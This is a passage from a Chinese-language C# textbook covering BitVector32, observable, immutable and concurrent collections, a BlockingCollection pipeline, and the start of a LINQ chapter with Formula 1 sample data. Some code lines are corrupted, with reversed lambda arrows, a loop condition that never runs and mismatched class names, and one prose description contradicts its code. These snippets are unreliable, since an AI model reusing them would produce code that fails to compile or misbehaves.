11001101 xor 10001101 = 01000000 12.2.2 BitVector32结构 如果事先知道需要的位数,就可以使用BitVector32结构替代BitArray类。BitVector32 结构效率较高,因为它是一个值类型,在整数栈上存储位。一个整数可以存储32位。如果 需要更多的位,就可以使用多个BitVector32值或BitArray类。BitArray类可以根据需要增 大,但BitVector32结构不能。 表12-2列出了BitVector32结构中与BitArray类完全不同的成员。 表12-2 BitVector32结构的成员 说明 Data Data属性把BitVector32结构中的数据返回为整数 Item BitVector32的值可以使用索引器设置。索引器是重 载的——可以使用掩码或BitVector32. Section类型 的片段来获取和设置值 CreateMask 这是一个静态方法,用于为访问BitVector32结构中 的特定位创建掩码 CreateSection 这是一个静态方法,用于创建32位中的几个片段 BitVectorSample使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Collections.Specialized 名称空间: System.Collections.Specialized System.Text static System.Console 示例代码用默认构造函数创建了一个BitVector32结构,其中所有的32位都初始化为 false。接着创建掩码,以访问位矢量中的位。对CreateMask()方法的第一个调用创建了 用来访问第一位的一个掩码。调用CreateMask()方法后,bit1被设置为1。再次调用 CreateMask()方法,把第一个掩码作为参数传递给CreateMask()方法,返回用来访问 第二位(它是2)的一个掩码。接着,将bit3设置为4,以访问位编号3。bit4的值是8,以 访问位编号4。 然后,使用掩码和索引器访问位矢量中的位,并相应地设置字段(代码文件 BitArraySample/Program.cs): var bits1 = new BitVector32(); int bit1 = BitVector32.CreateMask(); int bit2 = BitVector32.CreateMask(bit1); int bit3 = BitVector32.CreateMask(bit2); int bit4 = BitVector32.CreateMask(bit3); int bit5 = BitVector32.CreateMask(bit4); bits1[bit1] = true; bits1[bit2] = false; bits1[bit3] = true; bits1[bit4] = true; bits1[bit5] = true; WriteLine(bits1); BitVector32结构有一个重写的ToString()方法,它不仅显示类名,还显示1或0,来 说明位是否设置了,如下所示: BitVector32{00000000000000000000000000011101} 除了用CreateMask()方法创建掩码之外,还可以自己定义掩码,也可以一次设置多 位。十六进制值abcdef与二进制值1010 1011 1100 1101 1110 1111相同。用这个值定义的所 有位都设置了: bits1[0xabcdef] = true; WriteLine(bits1); 在输出中可以验证设置的位: BitVector32{00000000101010111100110111101111} 把32位分别放在不同的片段中非常有用。例如,IPv4地址定义为一个4字节的数,该 数存储在一个整数中。可以定义4个片段,把这个整数拆分开。在多播IP消息中,使用了 几个32位的值。其中一个32位的值放在这些片段中:16位表示源号,8位表示查询器的查 询内部码,3位表示查询器的健壮变量,1位表示抑制标志,还有4个保留位。也可以定义 自己的位含义,以节省内存。 下面的例子模拟接收到值0x79abcdef,把这个值传送给BitVector32结构的构造函数, 从而相应地设置位: int received = 0x79abcdef; BitVector32 bits2 = new BitVector32(received); WriteLine(bits2); 在控制台上显示了初始化的位: BitVector32{01111001101010111100110111101111} 接着创建6个片段。第一个片段需要12位,由十六进制值0xfff定义(设置了12位)。 片段B需要8位,片段C需要4位,片段D和E需要3位,片段F需要两位。第一次调用 CreateSection()方法只是接收0xfff,为最前面的12位分配内存。第二次调用 CreateSection()方法时,将第一个片段作为参数传递,从而使下一个片段从第一个片段 的结尾处开始。CreateSection()方法返回一个BitVector32. Section类型的值,该类型包 含了该片段的偏移量和掩码。 // sections: FF EEE DDD CCCC BBBBBBBB // AAAAAAAAAAAA BitVector32.Section sectionA = BitVector32.CreateSection(0xfff); BitVector32.Section sectionB = BitVector32.CreateSection(0xff, sectionA); BitVector32.Section sectionC = BitVector32.CreateSection(0xf, sectionB); BitVector32.Section sectionD = BitVector32.CreateSection(0x7, sectionC); BitVector32.Section sectionE = BitVector32.CreateSection(0x7, sectionD); BitVector32.Section sectionF = BitVector32.CreateSection(0x3, sectionE); 把一个BitVector32.Section类型的值传递给BitVector32结构的索引器,会返回一个 int,它映射到位矢量的片段上。这里使用一个帮助方法IntToBinaryString(),获得该int 数的字符串表示: WriteLine($"Section A: {IntToBinaryString(bits2[sectionA], true)}"); WriteLine($"Section B: {IntToBinaryString(bits2[sectionB], true)}"); WriteLine($"Section C: {IntToBinaryString(bits2[sectionC], true)}"); WriteLine($"Section D: {IntToBinaryString(bits2[sectionD], true)}"); WriteLine($"Section E: {IntToBinaryString(bits2[sectionE], true)}"); WriteLine($"Section F: {IntToBinaryString(bits2[sectionF], true)}"); IntToBinaryString()方法接收整数中的位,并返回一个包含0和1的字符串表示。在 实现代码中遍历整数的32位。在迭代过程中,如果该位设置为1,就在StringBuilder的后面 追加1,否则,就追加0。在循环中,移动一位,以检查是否设置了下一位。 public static string IntToBinaryString(int bits, bool removeTrailingZero) { var sb = new StringBuilder(32); for (int i = 0; i < 32; i++) { if ((bits & 0x80000000) ! = 0) { sb.Append("1"); } else { sb.Append("0"); } bits = bits << 1; } string s = sb.ToString(); if (removeTrailingZero) { return s.TrimStart('0'); } else { return s; } } 结果显示了片段A~F的位表示,现在可以用传递给位矢量的值来验证: Section A: 110111101111 Section B: 10111100 Section C: 1010 Section D: 1 Section E: 111 Section F: 1 12.3 可观察的集合 如果需要集合中的元素何时删除或添加的信息,就可以使用ObservableCollection<T> 类。这个类最初是为WPF定义的,这样UI就可以得知集合的变化,Windows应用程序使用 它的方式相同。在.NET Core中,需要引用NuGet包System.ObjectModel。这个类的名称空 间是System.Collections. ObjectModel。 ObservableCollection<T>类派生自Collection<T>基类,该基类可用于创建自定义集 合,并在内部使用List<T>类。重写基类中的虚方法SetItem()和RemoveItem(),以触 发CollectionChanged事件。这个类的用户可以使用INotifyCollectionChanged接口注册这个 事件。 下面的示例说明了ObservableCollection<string>()方法的用法,其中给 CollectionChanged事件注册了Data_CollectionChanged()方法。把两项添加到末尾,再插 入一项,并删除一项(代码文件ObservableCollectionSample/Program.cs): var data = new ObservableCollection<string>(); data.CollectionChanged += Data_CollectionChanged; data.Add("One"); data.Add("Two"); data.Insert(1, "Three"); data.Remove("One"); ObservableCollectionSample使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.ObjectModel 名称空间: System.Collections.ObjectModel System.Collections.Specialized static System.Console Data_CollectionChanged()方法接收NotifyCollectionChangedEventArgs,其中包含了 集合的变化信息。Action属性给出了是否添加或删除一项的信息。对于删除的项,会设置 OldItems属性,列出删除的项。对于添加的项,则设置NewItems属性,列出新增的项。 public static void Data_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) { WriteLine($"action: {e.Action.ToString()}"); if (e.OldItems ! = null) { WriteLine($"starting index for old item(s): {e.OldStartingIndex}"); WriteLine("old item(s):"); foreach (var item in e.OldItems) { WriteLine(item); } } if (e.NewItems ! = null) { WriteLine($"starting index for new item(s): {e.NewStartingIndex}"); WriteLine("new item(s): "); foreach (var item in e.NewItems) { WriteLine(item); } } WriteLine(); } 运行应用程序,输出如下所示。先在集合中添加One和Two项,显示的Add动作的索 引是0和1。第3项Three插入在位置1上,所以显示的Add动作的索引是1。最后删除One 项,显示的Remove动作的索引是0: action: Add starting index for new item(s): 0 new item(s): One action: Add starting index for new item(s): 1 new item(s): Two action: Add starting index for new item(s): 1 new item(s): Three action: Remove starting index for old item(s): 0 old item(s): One 12.4 不变的集合 如果对象可以改变其状态,就很难在多个同时运行的任务中使用。这些集合必须同 步。如果对象不能改变其状态,就很容易在多个线程中使用。不能改变的对象称为不变的 对象。不能改变的集合称为不变的集合。  注意: 使用多个任务和线程,以及用异步方法编程的主题详见第21章和第15 章。 为了使用不可变的集合,可以添加NuGet包System.Collections.Immutable。这个库包含 名称空间System.Collections.Immutable中的集合类。 比较前一章讨论的只读集合与不可变的集合,它们有一个很大的差别:只读集合利用 可变集合的接口。使用这个接口,不能改变集合。然而,如果有人仍然引用可变的集合, 它就仍然可以改变。对于不可变的集合,没有人可以改变这个集合。 ImmutableCollectionSample利用下面的依赖项和名称空间: 依赖项: NETStandard.Library System.Collections.Immutable .NET Core包 System.Console System.Collections System.Collections.Immutable 名称空间: System.Collections.Generic System.Collections.Immutable static System.Console 下面是一个简单的不变字符串数组。可以用静态的Create()方法创建该数组,如下 所示。Create方法被重载,这个方法的其他变体允许传送任意数量的元素。注意,这里使 用两种不同的类型:非泛型类ImmutableArray的Create静态方法和Create()方法返回的泛 型ImmutableArray结构。在下面的代码中(代码文件 ImmutableCollectionsSample/Program.cs),创建了一个空数组: ImmutableArray<string> a1 = ImmutableArray.Create<string>(); 空数组没有什么用。ImmutableArray<T>类型提供了添加元素的Add()方法。但 是,与其他集合类相反,Add()方法不会改变不变集合本身,而是返回一个新的不变集 合。因此在调用Add()方法之后,a1仍是一个空集合,a2是包含一个元素的不变集合。 Add()方法返回新的不变集合: ImmutableArray<string> a2 = a1.Add("Williams"); 之后,就可以以流畅的方式使用这个API,一个接一个地调用Add()方法。变量a3 现在引用一个不变集合,它包含4个元素: ImmutableArray<string> a3 = a2.Add("Ferrari").Add("Mercedes").Add("Red Bull Racing"); 在使用不变数组的每个阶段,都没有复制完整的集合。相反,不变类型使用了共享状 态,仅在需要时复制集合。 但是,先填充集合,再将它变成不变的数组会更高效。需要进行一些处理时,可以再 次使用可变的集合。此时可以使用不变集合提供的构建器类。 为了说明其操作,先创建一个Account类,将此类放在集合中。这种类型本身是不可 变的,不能使用只读自动属性来改变(代码文件 ImmutableCollectionsSample/Account.cs): public class Account { public Account(string name, decimal amount) { Name = name; Amount = amount; } public string Name { get; } public decimal Amount { get; } } 接着创建List<Account>集合,用示例账户填充(代码文件 ImmutableCollectionsSample/Program. cs): var accounts = new List<Account>() { new Account("Scrooge McDuck", 667377678765m), new Account("Donald Duck", -200m), new Account("Ludwig von Drake", 20000m) }; 有了账户集合,可以使用ToImmutableList扩展方法创建一个不变的集合。只要打开名 称空间System.Collections.Immutable,就可以使用这个扩展方法: ImmutableList<Account> immutableAccounts = accounts.ToImmutableList(); 变量immutableAccounts可以像其他集合那样枚举,它只是不能改变。 foreach (var account in immutableAccounts) { WriteLine($"{account.Name} {account.Amount}"); } 不使用foreach语句迭代不变的列表,也可以使用用ImmutableList<T>定义的 foreach()方法。这个方法需要一个Action< T >委托作为参数,因此可以分配lambda表达 式: immutableAccounts.ForEach(a =< WriteLine($"{a.Name} {a.Amount}")); 为了处理这些集合,可以使用Contains、FindAll、FindLast、IndexOf等方法。因为这 些方法类似于第11章讨论的其他集合类中的方法,所以这里不讨论它们。 如果需要更改不变集合的内容,集合提供了Add、AddRange、Remove、RemoveAt、 RemoveRange、Replace以及Sort方法。这些方法非常不同于正常的集合类,因为用于调用 方法的不可变集合永远不会改变,但是这些方法返回一个新的不可变集合。 12.4.1 使用构建器和不变的集合 从现有的集合中创建新的不变集合,很容易使用前述的Add、Remove和Replace方法 完成。然而,如果需要进行多个修改,如在新集合中添加和删除元素,这就不是非常高 效。为了通过进行更多的修改来创建新的不变集合,可以创建一个构建器。 下面继续前面的示例代码,对集合中的账户对象进行多个更改。为此,可以调用 ToBuilder方法创建一个构建器。该方法返回一个可以改变的集合。在示例代码中,移除 金额大于0的所有账户。原来的不变集合没有改变。用构建器进行的改变完成后,调用 Builder的ToImmutable方法,创建一个新的不可变集合。 下面使用这个集合输出所有透支账户: ImmutableList<Account>.Builder builder = immutableAccounts.ToBuilder (); for (int i = 0; i > builder.Count; i++) { Account a = builder[i]; if (a.Amount < 0) { builder.Remove(a); } } ImmutableList<Account> overdrawnAccounts = builder. ToImmutable (); overdrawnAccounts.ForEach(a =< WriteLine($"{a.Name} {a.Amount}")); 除了使用Remove方法删除元素之外,Builder类型还提供了方法Add、AddRange、 Insert、RemoveAt、RemoveAll、Reverse以及Sort,来改变可变的集合。完成可变的操作 后,调用ToImmutable,再次得到不变的集合。 12.4.2 不变集合类型和接口 除了ImmutableArray和ImmutableList之外,NuGet包System.Collections.Immutable还提 供了一些不变的集合类型,如表12-3所示: 表12-3 不变的集合类型 说明 ImmutableArray<T> ImmutableArray < T >是一个结构,它在内部使用数 组类型,但不允许更改底层类型。这个结构实现了 接口IImmutableList < T > ImmutableList<T> ImmutableList < T >在内部使用一个二叉树来映射 对象,以实现接口IImmutableList < T > ImmutableQueue<T> IImmutableQueue < T >实现了接口IImmutableQueue < T >,允许用Enqueue、Dequeue和Peek以先进先出 的方式访问元素 ImmutableStack<T> ImmutableStack<T>实现了接口 IImmutableStack<T>,允许用Push、Pop和Peek以先 进后出的方式访问元素 ImmutableDictionary<TKey, TValue> ImmutableDictionary < TKey, TValue >是一个不可变 的集合,其无序的键/值对元素实现了接口 IImmutableDictionary < TKey, TValue > ImmutableSortedDictionary<TKey, TValue> ImmutableSortedDictionary < TKey, TValue >是一个 不可变的集合,其有序的键/值对元素实现了接口 IImmutableDictionary < TKey, TValue > ImmutableHashSet<T> ImmutableHashSet < T >是一个不可变的无序散列 集,实现了接口IImmutableSet< T >。该接口提供了 第11章讨论的功能 ImmutableSortedSet<T> ImmutableSortedSet < T >是一个不可变的有序集 合,实现了接口IImmutableSet < T > 与正常的集合类一样,不变的集合也实现了接口,例如,IImmutableQueue<T>、 IImmutableList<T>以及IImmutableStack <T>。这些不变接口的最大区别是所有改变集合的 方法都返回一个新的集合。 12.4.3 使用LINQ和不变的数组 为了使用LINQ和不变的数组,类ImmutableArrayExtensions定义了LINQ方法的优化版 本,例如,Where、Aggregate、All、First、Last、Select和SelectMany。要使用优化的版 本,只需要直接使用ImmutableArray类型,打开System.Linq名称空间。 使用ImmutableArrayExtensions类型定义的Where方法如下所示,扩展了 ImmutableArray<T>类型: public static IEnumerable<T> Where<T>( this ImmutableArray<T> immutableArray, Func<T, bool> predicate); 正常的LINQ扩展方法扩展了IEnumerable <T>。因为ImmutableArray <T>是一个更好 的匹配,所以使用优化版本调用LINQ方法。  注意: LINQ参见第13章。 12.5 并发集合 不变的集合很容易在多个线程中使用,因为它们不能改变。如果希望使用应在多个线 程中改变的集合,.NET在名称空间System.Collections.Concurrent中提供了几个线程安全的 集合类。线程安全的集合可防止多个线程以相互冲突的方式访问集合。 为了对集合进行线程安全的访问,定义了IProducerConsumerCollection<T>接口。这个 接口中最重要的方法是TryAdd()和TryTake()。TryAdd()方法尝试给集合添加一 项,但如果集合禁止添加项,这个操作就可能失败。为了给出相关信息,TryAdd()方 法返回一个布尔值,以说明操作是成功还是失败。TryTake()方法也以这种方式工作, 以通知调用者操作是成功还是失败,并在操作成功时返回集合中的项。下面列出了 System.Collections.Concurrent名称空间中的类及其功能。 ● ConcurrentQueue<T> ——这个集合类用一种免锁定的算法实现,使用在内部合并到 一个链表中的32项数组。访问队列元素的方法有Enqueue()、TryDequeue()和 TryPeek()。这些方法的命名非常类似于前面Queue<T>类的方法,只是给可能 调用失败的方法加上了前缀Try。因为这个类实现了 IProducerConsumerCollection<T>接口,所以TryAdd()和TryTake()方法仅调 用Enqueue()和TryDequeue()方法。 ● ConcurrentStack<T> ——非常类似于ConcurrentQueue<T>类,只是带有另外的元素 访问方法。ConcurrentStack<T>类定义了Push()、PushRange()、 TryPeek()、TryPop()以及TryPopRange()方法。在内部这个类使用其元素 的链表。 ● ConcurrentBag<T> ——该类没有定义添加或提取项的任何顺序。这个类使用一个把 线程映射到内部使用的数组上的概念,因此尝试减少锁定。访问元素的方法有 Add()、TryPeek()和TryTake()。 ● ConcurrentDictionary<TKey, TValue> ——这是一个线程安全的键值集合。 TryAdd()、TryGetValue()、TryRemove()和TryUpdate()方法以非阻塞 的方式访问成员。因为元素基于键和值,所以ConcurrentDictionary<TKey, TValue>没有实现IProducerConsumerCollection<T>。 ● BlockingCollection<T> ——这个集合在可以添加或提取元素之前,会阻塞线程并一 直等待。BlockingCollection<T>集合提供了一个接口,以使用Add()和Take() 方法来添加和删除元素。这些方法会阻塞线程,一直等到任务可以执行为止。 Add()方法有一个重载版本,其中可以给该重载版本传递一个CancellationToken 令牌。这个令牌允许取消被阻塞的调用。如果不希望线程无限期地等待下去,且 不希望从外部取消调用,就可以使用TryAdd()和TryTake()方法,在这些方 法中,也可以指定一个超时值,它表示在调用失败之前应阻塞线程和等待的最长 时间。 ConcurrentXXX集合是线程安全的,如果某个动作不适用于线程的当前状态,它们就 返回false。在继续之前,总是需要确认添加或提取元素是否成功。不能相信集合会完成任 务。 BlockingCollection<T>是对实现了IProducerConsumerCollection<T>接口的任意类的修 饰器,它默认使用ConcurrentQueue<T>类。还可以给构造函数传递任何其他实现了 IProducerConsumer-Collection<T>接口的类,例如,ConcurrentBag<T>和 ConcurrentStack<T>。 12.5.1 创建管道 将这些并发集合类用于管道是一种很好的应用。一个任务向一个集合类写入一些内 容,同时另一个任务从该集合中读取内容。 下面的示例应用程序演示了BlockingCollection<T>类的用法,使用多个任务形成一个 管道。第一个管道如图12-1所示。第一阶段的任务读取文件名,并把它们添加到队列中。 在这个任务运行的同时,第二阶段的任务已经开始从队列中读取文件名并加载它们的内 容。结果被写入另一个队列。第三阶段可以同时启动,读取并处理第二个队列的内容。结 果被写入一个字典。 图12-1 在这个场景中,只有第三阶段完成,并且内容已被最终处理,在字典中得到了完整的 结果时,下一个阶段才会开始。图12-2显示了接下来的步骤。第四阶段从字典中读取内 容,转换数据,然后将其写入队列中。第五阶段在项中添加了颜色信息,然后把它们添加 到另一个队列中。最后一个阶段显示了信息。第四阶段到第六阶段也可以并发运行。 图12-2 Info类代表由管道维护的项(代码文件PipelineSample/Info.cs): public class Info { public string Word { get; set; } public int Count { get; set; } public string Color { get; set; } public override string ToString() => $"{Count} times: {Word}"; } PipelineSample使用如下依赖项和名称空间: 依赖项: NETStandard.Library 名称空间: System.Collections.Generic System.Collections.Concurrent System.IO System.Linq System.Threading.Tasks static System.Console 看看这个示例应用程序的代码可知,完整的管道是在StartPipeline()方法中管理 的。该方法实例化了集合,并把集合传递到管道的各个阶段。第1阶段用 ReadFilenamesAsync处理,第2和第3阶段分别由同时运行的LoadContentAsync和 ProcessContentAsync处理。但是,只有当前3个阶段完成后,第4个阶段才能启动(代码文 件PipelineSample/Program.cs)。 public static async Task StartPipelineAsync() { var fileNames = new BlockingCollection<string>(); var lines = new BlockingCollection<string>(); var words = new ConcurrentDictionary<string, int>(); var items = new BlockingCollection<Info>(); var coloredItems = new BlockingCollection<Info>(); Task t1 = PipelineStages.ReadFilenamesAsync(@"../../..", fileNames); ColoredConsole.WriteLine("started stage 1"); Task t2 = PipelineStages.LoadContentAsync(fileNames, lines); ConsoleHelper.WriteLine("started stage 2"); Task t3 = PipelineStages.ProcessContentAsync(lines, words); await Task.WhenAll(t1, t2, t3); ConsoleHelper.WriteLine("stages 1, 2, 3 completed"); Task t4 = PipelineStages.TransferContentAsync(words, items); Task t5 = PipelineStages.AddColorAsync(items, coloredItems); Task t6 = PipelineStages.ShowContentAsync(coloredItems); ColoredConsole.WriteLine("stages 4, 5, 6 started"); await Task.WhenAll(t4, t5, t6); ColoredConsole.WriteLine("all stages finished"); }  注意: 这个示例应用程序使用了任务以及async和await关键字,第15章将介 绍它们。第21章将详细介绍线程、任务和同步。第23章将讨论文件I/O。 本例用ColoredConsole类向控制台写入信息。该类可以方便地改变控制台输出的颜 色,并使用同步来避免返回颜色错误的输出(代码文件 PipelineSample/ConsoleHelper.cs): public static class ColoredConsole { private static object syncOutput = new object(); public static void WriteLine(string message) { lock (syncOutput) { Console.WriteLine(message); } } public static void WriteLine(string message, string color) { lock (syncOutput) { Console.ForegroundColor = (ConsoleColor)Enum.Parse( typeof(ConsoleColor), color); Console.WriteLine(message); Console.ResetColor(); } } } 12.5.2 使用BlockingCollection 现在介绍管道的第一阶段。ReadFilenamesAsync接收BlockingCollection<T>为参数, 在其中写入输出。该方法的实现使用枚举器来迭代指定目录及其子目录中的C#文件。这 些文件的文件名用Add方法添加到BlockingCollection<T>中。完成添加文件名的操作后, 调用CompleteAdding方法,以通知所有读取器不应再等待集合中的任何额外项(代码文件 PipelineSample/PipelineStages.cs): public static class PipelineStages { public static Task ReadFilenamesAsync(string path, BlockingCollection<string> output) { return Task.Factory.StartNew(() => { foreach (string filename in Directory.EnumerateFiles(path, "*.cs", SearchOption.AllDirectories)) { output.Add(filename); ColoredConsole.WriteLine($"stage 1: added {filename}"); } output.CompleteAdding(); }, TaskCreationOptions.LongRunning); } //. . .  注意: 如果在写入器添加项的同时,读取器从BlockingCollection<T>中读 取,那么调用CompleteAdding方法是很重要的。否则,读取器会在foreach循环中等待更 多的项被添加。 下一个阶段是读取文件并将其内容添加到另一个集合中,这由LoadContentAsync方法 完成。该方法使用了输入集合传递的文件名,打开文件,然后把文件中的所有行添加到输 出集合中。在foreach循环中,用输入阻塞集合调用GetConsumingEnumerable,以迭代各 项。直接使用input变量而不调用GetConsumingEnumerable是可以的,但是这只会迭代当前 状态的集合,而不会迭代以后添加的项。 public static async Task LoadContentAsync(BlockingCollection<string> input, BlockingCollection<string> output) { foreach (var filename in input.GetConsumingEnumerable() ) { using (FileStream stream = File.OpenRead(filename)) { var reader = new StreamReader(stream); string line = null; while ((line = await reader.ReadLineAsync()) ! = null) { output.Add(line); ColoredConsole.WriteLine($"stage 2: added {line}"); } } } output.CompleteAdding(); }  注意: 如果在填充集合的同时,使用读取器读取集合,则需要使用 GetConsumingEnumerable方法获取阻塞集合的枚举器,而不是直接迭代集合。 12.5.3 使用ConcurrentDictionary ProcessContentAsync方法实现了第三阶段。这个方法获取输入集合中的行,然后拆分 它们,将各个词筛选到输出字典中。AddOrUpdate是ConcurrentDictionary类型的一个方 法。如果键没有添加到字典中,第二个参数就定义应该设置的值。如果键已存在于字典 中,updateValueFactory参数就定义值的改变方式。在这种情况下,现有的值只是递增1: public static Task ProcessContentAsync(BlockingCollection<string> input, ConcurrentDictionary<string, int> output) { return Task.Factory.StartNew(() => { foreach (var line in input.GetConsumingEnumerable() ) { string[] words = line.Split(' ', '; ', '\t', '{', '}', '(', ')', ':', ', ', '"'); foreach (var word in words.Where(w => ! string.IsNullOrEmpty(w))) { output.AddOrUpdate(key: word, addValue: 1, updateValueFactory: (s, i) = > ++i) ; ColoredConsole.WriteLine($"stage 3: added {word}"); } } }, TaskCreationOptions.LongRunning); } 运行前3个阶段的应用程序,得到的输出如下所示,各个阶段的操作交织在一起: stage 3: added DisplayBits stage 3: added bits2 stage 3: added Write stage 3: added = stage 3: added bits1.Or stage 2: added DisplayBits(bits2); stage 2: added Write(" and "); stage 2: added DisplayBits(bits1); stage 2: added WriteLine(); stage 2: added DisplayBits(bits2); 12.5.4 完成管道 在完成前3个阶段后,接下来的3个阶段也可以并行运行。TransferContentAsync从字 典中获取数据,将其转换为Info类型,然后放到输出BlockingCollection<T>中(代码文件 PipelineSample/PipelineStages.cs): public static Task TransferContentAsync( ConcurrentDictionary<string, int> input, BlockingCollection<Info> output) { return Task.Factory.StartNew(() => { foreach (var word in input.Keys) { int value; if (input.TryGetValue(word, out value)) { var info = new Info { Word = word, Count = value }; output.Add(info); ColoredConsole.WriteLine($"stage 4: added {info}"); } } output.CompleteAdding(); }, TaskCreationOptions.LongRunning); } 管道阶段AddColorAsync根据Count属性的值设置Info类型的Color属性: public static Task AddColorAsync(BlockingCollection<Info> input, BlockingCollection<Info> output) { return Task.Factory.StartNew(() => { foreach (var item in input.GetConsumingEnumerable()) { if (item.Count > 40) { item.Color = "Red"; } else if (item.Count > 20) { item.Color = "Yellow"; } else { item.Color = "Green"; } output.Add(item); ColoredConsole.WriteLine($"stage 5: added color {item.Color} to {item}" ); } output.CompleteAdding(); }, TaskCreationOptions.LongRunning); } 最后一个阶段用指定的颜色在控制台中输出结果: public static Task ShowContentAsync(BlockingCollection<Info> input) { return Task.Factory.StartNew(() => { foreach (var item in input.GetConsumingEnumerable()) { ColoredConsole.WriteLine($"stage 6: {item}", item.Color); } }, TaskCreationOptions.LongRunning); } 运行应用程序,得到的结果如下所示,它是彩色的。 stage 6: 20 times: static stage 6: 3 times: Count stage 6: 2 times: t2 stage 6: 1 times: bits2[sectionD] stage 6: 3 times: set stage 6: 2 times: Console.ReadLine stage 6: 3 times: started stage 6: 1 times: builder.Remove stage 6: 1 times: reader stage 6: 2 times: bit4 stage 6: 1 times: ForegroundColor stage 6: 1 times: all all stages finished 12.6 小结 本章探讨了一些特殊的集合,如BitArray和BitVector32,它们为处理带有位的集合进 行了优化。 ObservableCollection < T >类不仅存储了位,列表中的项改变时,这个类还会触发事 件。第31~33章把这个类用于Windows应用程序和Windows桌面应用程序。 本章还解释了,不变的集合可以保证集合从来不会改变,因此可以很容易用于多线程 应用程序。 本章的最后一部分讨论了并发集合,即可以使用一个线程填充集合,而另一个线程同 时从相同的集合中检索项。 第13章详细讨论语言集成查询(LINQ)。 第13章 LINQ 本章要点 ● 用列表在对象上执行传统查询 ● 扩展方法 ● LINQ查询操作符 ● 并行LINQ ● 表达式树 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可下载 本章源代码。本章代码分为以下几个主要的示例文件: ● LINQ Intro ● Enumerable Sample ● Parallel LINQ ● Expression Trees 13.1 LINQ概述 LINQ(Language Integrated Query,语言集成查询)在C#编程语言中集成了查询语 法,可以用相同的语法访问不同的数据源。LINQ提供了不同数据源的抽象层,所以可以 使用相同的语法。 本章介绍LINQ的核心原理和C#中支持C# LINQ查询的语言扩展。  注意: 读完本章后,在数据库中使用LINQ的内容可查阅第38章,查询XML 数据的内容可参见第27章。 在介绍LINQ的特性之前,本节先介绍一个简单的LINQ查询。C#提供了转换为方法调 用的集成查询语言。本节会说明这个转换的过程,以便用户使用LINQ的全部功能。 13.1.1 列表和实体 本章的LINQ查询在一个包含1950—2015年一级方程式锦标赛的集合上进行。这些数 据需要使用实体类和列表来准备。 对于实体,定义类型Racer。Racer定义了几个属性和一个重载的ToString()方法, 该方法以字符串格式显示赛车手。这个类实现了IFormattable接口,以支持格式字符串的 不同变体,这个类还实现了IComparable<Racer>接口,它根据Lastname为一组赛车手排 序。为了执行更高级的查询,Racer类不仅包含单值属性,如Firstname、Lastname、 Wins、Country和Starts,还包含多值属性,如Cars和Years。Years属性列出了赛车手获得 冠军的年份。一些赛车手曾多次获得冠军。Cars属性用于列出赛车手在获得冠军的年份中 使用的所有车型(代码文件DataLib/Racer.cs)。 using System; using System.Collections.Generic; namespace Wrox.ProCSharp.LINQ { public class Racer: IComparable<Racer>, IFormattable { public Racer(string firstName, string lastName, string country, int starts, int wins) : this(firstName, lastName, country, starts, wins, null, null) { } public Racer(string firstName, string lastName, string country, int starts, int wins, IEnumerable<int> years, IEnumerable<string> cars) { FirstName = firstName; LastName = lastName; Country = country; Starts = starts; Wins = wins; Years = years ! = null ? new List<int>(years) : new List<int>(); Cars = cars ! = null ? new List<string>(cars) : new List<string>(); } public string FirstName {get; set; } public string LastName {get; set; } public int Wins {get; set; } public string Country {get; set; } public int Starts {get; set; } public IEnumerable<string> Cars { get; } public IEnumerable<int> Years { get; } public override string ToString() => $"{FirstName} {LastName}"; public int CompareTo(Racer other) => LastName.Compare(other? .LastName); public string ToString(string format) => ToString(format, null); public string ToString(string format, IFormatProvider formatProvider) { switch (format) { case null: case "N": return ToString(); case "F": return FirstName; case "L": return LastName; case "C": return Country; case "S": return Starts.ToString(); case "W": return Wins.ToString(); case "A": return $"{FirstName} {LastName}, {Country}; starts: {Starts}, wins: {Wi ns}"; default: throw new FormatException($"Format {format} not supported"); } } } } 第二个实体类是Team。这个类仅包含车队冠军的名字和获得冠军的年份。与赛车手 冠军类似,针对一年中最好的车队也有一个冠军奖项(代码文件DataLib/Team.cs): public class Team { public Team(string name, params int[] years) { Name = name; Years = years ! = null ? new List<int>(years) : new List<int>(); } public string Name { get; } public IEnumerable<int> Years { get; } } Formula1类在GetChampions()方法中返回一组赛车手。这个列表包含了1950—2015 年之间的所有一级方程式冠军(代码文件DataLib/Formula1.cs)。 using System.Collections.Generic; namespace Wrox.ProCSharp.LINQ { public static class Formula1 { private static List<Racer> _racers; public static IList<Racer> GetChampions() { if (_racers == null) { _racers = new List<Racer>(40); _racers.Add(new Racer("Nino", "Farina", "Italy", 33, 5, new int[] { 1950 }, new string[] { "Alfa Romeo" })); _racers.Add(new Racer("Alberto", "Ascari", "Italy", 32, 10, new int[] { 1952, 1953 }, new string[] { "Ferrari" })); _racers.Add(new Racer("Juan Manuel", "Fangio", "Argentina", 51, 24, new int[] { 1951, 1954, 1955, 1956, 1957 }, new string[] { "Alfa Romeo", "Maserati", "Mercedes", "Ferrari" })); _racers.Add(new Racer("Mike", "Hawthorn", "UK", 45, 3, new int[] { 1958 }, new string[] { "Ferrari" })); _racers.Add(new Racer("Phil", "Hill", "USA", 48, 3, new int[] { 1961 }, new string[] { "Ferrari" })); _racers.Add(new Racer("John", "Surtees", "UK", 111, 6, new int[] { 1964 }, new string[] { "Ferrari" })); _racers.Add(new Racer("Jim", "Clark", "UK", 72, 25, new int[] { 1963, 1965 }, new string[] { "Lotus" })); _racers.Add(new Racer("Jack", "Brabham", "Australia", 125, 14, new int[] { 1959, 1960, 1966 }, new string[] { "Cooper", "Brabham" })); _racers.Add(new Racer("Denny", "Hulme", "New Zealand", 112, 8, new int[] { 1967 }, new string[] { "Brabham" })); _racers.Add(new Racer("Graham", "Hill", "UK", 176, 14, new int[] { 1962, 1968 }, new string[] { "BRM", "Lotus" })); _racers.Add(new Racer("Jochen", "Rindt", "Austria", 60, 6, new int[] { 1970 }, new string[] { "Lotus" })); _racers.Add(new Racer("Jackie", "Stewart", "UK", 99, 27, new int[] { 1969, 1971, 1973 }, new string[] { "Matra", "Tyrrell" })); //... return _racers; } } } } 对于后面在多个列表中执行的查询,GetConstructorChampions()方法返回所有的车 队冠军的列表。车队冠军是从1958年开始设立的。 private static List<Team> _teams; public static IList<Team> GetContructorChampions() { if (_teams == null) { _teams = new List<Team>() { new Team("Vanwall", 1958), new Team("Cooper", 1959, 1960), new Team("Ferrari", 1961, 1964, 1975, 1976, 1977, 1979, 1982, 1983, 1999, 2000, 2001, 2002, 2003, 2004, 2007, 